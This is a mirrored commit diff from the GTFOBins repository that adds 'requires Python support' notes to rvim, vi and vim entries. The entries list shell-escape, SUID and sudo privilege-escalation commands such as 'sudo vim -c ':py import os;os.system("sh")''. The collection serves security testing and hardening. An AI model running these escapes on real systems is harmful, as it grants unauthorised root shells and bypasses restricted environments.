mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Polish rvim, vi, and vim
This commit is contained in:
		@@ -1,10 +1,11 @@
 | 
			
		||||
---
 | 
			
		||||
description: 'From the manual: with rvim "It will not be possible to start shell commands".'
 | 
			
		||||
functions:
 | 
			
		||||
  shell:
 | 
			
		||||
    - code: rvim -c ':py import os;os.system("sh")'
 | 
			
		||||
    - description: This requires that rvim is compiled with Python support.
 | 
			
		||||
      code: rvim -c ':py import os;os.system("sh")'
 | 
			
		||||
  file-write:
 | 
			
		||||
    - code: |
 | 
			
		||||
    - description: This requires that rvim is compiled with Python support.
 | 
			
		||||
      code: |
 | 
			
		||||
        rvim file_to_write
 | 
			
		||||
        iDATA
 | 
			
		||||
        ^[
 | 
			
		||||
@@ -12,7 +13,9 @@ functions:
 | 
			
		||||
  file-read:
 | 
			
		||||
    - code: rvim file_to_read
 | 
			
		||||
  suid:
 | 
			
		||||
    - code: ./rvim -c ':py import os;os.system("sh")'
 | 
			
		||||
    - description: This requires that rvim is compiled with Python support.
 | 
			
		||||
      code: ./rvim -c ':py import os;os.system("sh")'
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: sudo rvim -c ':py import os;os.system("sh")'
 | 
			
		||||
    - description: This requires that rvim is compiled with Python support.
 | 
			
		||||
      code: sudo rvim -c ':py import os;os.system("sh")'
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -6,7 +6,8 @@ functions:
 | 
			
		||||
        vi
 | 
			
		||||
        :set shell=/bin/sh
 | 
			
		||||
        :shell
 | 
			
		||||
    - code: vi -c ':py import os;os.system("sh")'
 | 
			
		||||
    - description: This requires that vi is compiled with Python support.
 | 
			
		||||
      code: vi -c ':py import os;os.system("sh")'
 | 
			
		||||
  file-write:
 | 
			
		||||
    - code: |
 | 
			
		||||
        vi file_to_write
 | 
			
		||||
@@ -19,5 +20,6 @@ functions:
 | 
			
		||||
    - code: ./vi -c ':!/bin/sh -p'
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: sudo vi -c ':!/bin/sh'
 | 
			
		||||
    - code: sudo vi -c ':py import os;os.system("sh")'
 | 
			
		||||
    - description: This requires that vi is compiled with Python support.
 | 
			
		||||
      code: sudo vi -c ':py import os;os.system("sh")'
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -6,7 +6,8 @@ functions:
 | 
			
		||||
        vim
 | 
			
		||||
        :set shell=/bin/sh
 | 
			
		||||
        :shell
 | 
			
		||||
    - code: vim -c ':py import os;os.system("sh")'
 | 
			
		||||
    - description: This requires that vim is compiled with Python support.
 | 
			
		||||
      code: vim -c ':py import os;os.system("sh")'
 | 
			
		||||
  file-write:
 | 
			
		||||
    - code: |
 | 
			
		||||
        vim file_to_write
 | 
			
		||||
@@ -20,4 +21,5 @@ functions:
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: sudo vim -c ':!/bin/sh'
 | 
			
		||||
    - code: sudo vim -c ':py import os;os.system("sh")'
 | 
			
		||||
      description: This requires that vim is compiled with Python support.
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user